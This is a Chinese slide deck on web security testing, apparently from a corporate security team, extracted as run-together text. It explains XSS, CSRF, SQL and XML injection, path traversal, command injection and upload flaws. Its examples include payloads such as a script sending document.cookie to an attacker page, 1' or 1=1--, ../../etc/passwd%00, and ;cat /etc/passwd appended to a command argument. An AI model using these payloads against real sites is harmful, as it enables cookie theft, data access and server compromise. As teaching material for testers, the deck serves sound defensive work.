您好,欢迎访问三七文档
•集团信息安全中心•叶敏WEB安全测试开发人员的疏忽黑客会尝试每个页面、每个功能测试人员测试每个页面、每个功能安全测试就是黑客阿里巴巴WEB安全现状SDL5大漏洞、业务漏洞、上传漏洞、后台目录Hummockcc攻击外部扫描XSS、注入、危险目录、挂马监控ApacheLogXSS、SQL注入、pathtraverse、系统命令SDL需求分析业务安全设计检查需求分析是否体现在文档中框架安全SDL编码编码规范○5大漏洞○UploadSDL测试XSSCSRFSQL注入URL跳转权限控制上传SDL代码安全reviewXSSCSRFSQL注入URL跳转权限控制上传目录XSSCSRF注入攻击文件系统、系统命令上传、下载权限Cookie与会话随机与加密跨站脚本(XSS)XSS又叫CSS(CrossSiteScript),跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。盗取Cookie钓鱼操纵受害者的浏览器蠕虫攻击反射型跨站(ReflectedXSS)/*error.php*/?phpechopError:.$_GET['msg']./p;?•请求=file%20not%20foundpError:filenotfound/p•请求=scriptalert(123)/scriptpError:scriptalert(123)/script/p•服务端获取HTTP请求中的参数,未经过滤直接输出到客户端。如果这些参数是脚本,它将在客户端执行。(钓鱼常见)反射型跨站(ReflectedXSS)victim’sbrowsernaive.comattacker=scriptwindow.open(“=”+document.cookie)/scriptGET/hello.cgi?name=scriptwindow.open(“”+document.cookie)/scripthello.cgiexecutedHTMLHello,dearscriptwindow.open(“=”+document.cookie)/scriptWelcome!/HTMLGET/steal.cgi?cookie=存储型跨站(StoredXSS)用户输入的数据存放在服务端(一般放数据库里),其他用户访问某个页面时,这些数据未经过滤直接输出。这些数据可能是恶意脚本,对其他用户造成危害。(挂马常见)存储型跨站(StoredXSS)在允许上传文件的应用中,攻击者上传一个包含恶意代码的html或txt文件,用户浏览这些文件时执行恶意代码。一般的应用中上传图片最普遍,如果图片中包含恶意代码,低版的IE直接请求这个图片时,将忽略Content-Type执行图片中的代码。HTTP/1.1200OKDate:Sat,5May200711:52:25GMTServer:ApacheContent-Length:39Content-Type:image/jpegscriptalert(document.cookie)/scriptDOM跨站(DOM-BasedXSS)攻击者构造一个包含恶意Javascript的URL,然后引诱用户请求这个URL。服务器收到请求后没有返回恶意的Javascript。浏览器在处理URL中的数据时,执行恶意代码。!--test.html--bodyscriptdocument.write(document.location.hash);/script/body请求(1)/script跨站请求伪造(CSRF)强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所需要的操作行为。恶意请求会带上浏览器的Cookie。受攻击的Web应用信任浏览器的Cookie。imgsrc=“=123”/Flash客户端XSSCSRF服务端crossdomain.xmlSQL注入用户输入的数据未经验证就用来构造SQL查询语句。查询数据库中的敏感内容绕过认证添加、删除、修改数据拒绝服务○?id=(BENCHMARK(100000000,MD5(RAND()));SQL注入$sql=SELECTnameFROMusersWHEREid='.$_GET['id'].';当id的值为:1’or1=1--查询语句:SELECTnameFROMusersWHEREid=‘1’or1=1--’$sql=SELECT*FROMadminsWHEREname='.$_GET['name'].'andpass='.$_GET['pass'].';当name的值为:‘or1=1--查询语句:SELECT*FROMadminsWHEREname=''or1=1--'andpass=''XML注入和SQL注入原理一样,XML是存储数据的地方,如果在查询或修改时,如果没有做转义,直接输入或输出数据,都将导致XML注入漏洞。攻击者可以修改XML数据格式,增加新的XML节点,对数据处理流程产生影响。$xml=USERrole=guestname“.$_GET[‘name’]./nameemail“.$_GET[‘email’]./email/USER;?xmlversion=1.0encoding=UTF-8?USERrole=guestnameuser1/nameemailuser1@a.com/email/USER原本应该产生一条这样的记录:XML注入user1@a.com/email/USERUSERrole=adminnametest/nameemailuser2@a.com如果用户输入email的内容是这样:?xmlversion=1.0encoding=UTF-8?USERrole=guestnameuser1/nameemailuser1@a.com/email/USERUSERrole=adminnametest/nameemailuser2@a.com/email/USER最终结果将是这样:URL跳转Web应用程序接收到用户提交的URL参数后,没有对参数做”可信任URL”的验证,就向用户浏览器返回跳转到该URL的指令。钓鱼攻击=web&u==文件系统跨越文件系统中../代表上级目录通过一个或多个../跨越目录限制$fp=fopen(image/{$_GET['filename']},'r');Getfile?filename=../../../../etc/passwd•%00截断路径名echofile_get_contents($_GET['filename'].'.txt');Getfile?filename=../../../../etc/passwd%00系统命令•用户提交的参数用于执行系统命令的参数。•使用”|”或”;”执行多条命令•passthru(),popen(),shell_exec(),system()system(ls-l${_GET['dir']});?dir=path;cat/etc/passwd文件上传Web应用程序在处理用户上传的文件时,没有判断文件的扩展名是否在允许的范围内,或者没检测文件内容的合法性,就把文件保存在服务器上,甚至上传脚本木马到web服务器上,直接控制web服务器。未限制扩展名未检查文件内容病毒文件任意文件下载下载附件等功能Apache虚拟目录指向Java/PHP读取文件下载数据库配置文件等目录浏览权限控制有没有权限有些系统不需要权限控制有没有设置权限有了强大的权限系统,但是没有使用有没有偷工减料权限URL级别菜单级别访问控制水平权限Web应用程序接收到用户请求,修改某条数据时,没有判断数据的所属人,或判断数据所属人时,从用户提交的request参数(用户可控数据)中,获取了数据所属人id,导致恶意攻击者可以通过变换数据ID,或变换所属人id,修改不属于自己的数据。垂直权限由于web应用程序没有做权限控制,或仅仅在菜单上做了权限控制,导致的恶意用户只要猜测其他管理页面的URL,就可以访问或控制其他角色拥有的数据或页面,达到权限提升目的。CookieCookiehttponlyflagCookiesecureflagSessionExpires会话过期浏览器过期服务器30分钟无动作过期服务器24小时强制过期保持会话随机与加密随机不可预测区分编码与加密加密强度Q&A
本文标题:WEB安全测试
链接地址:https://www.777doc.com/doc-4367860 .html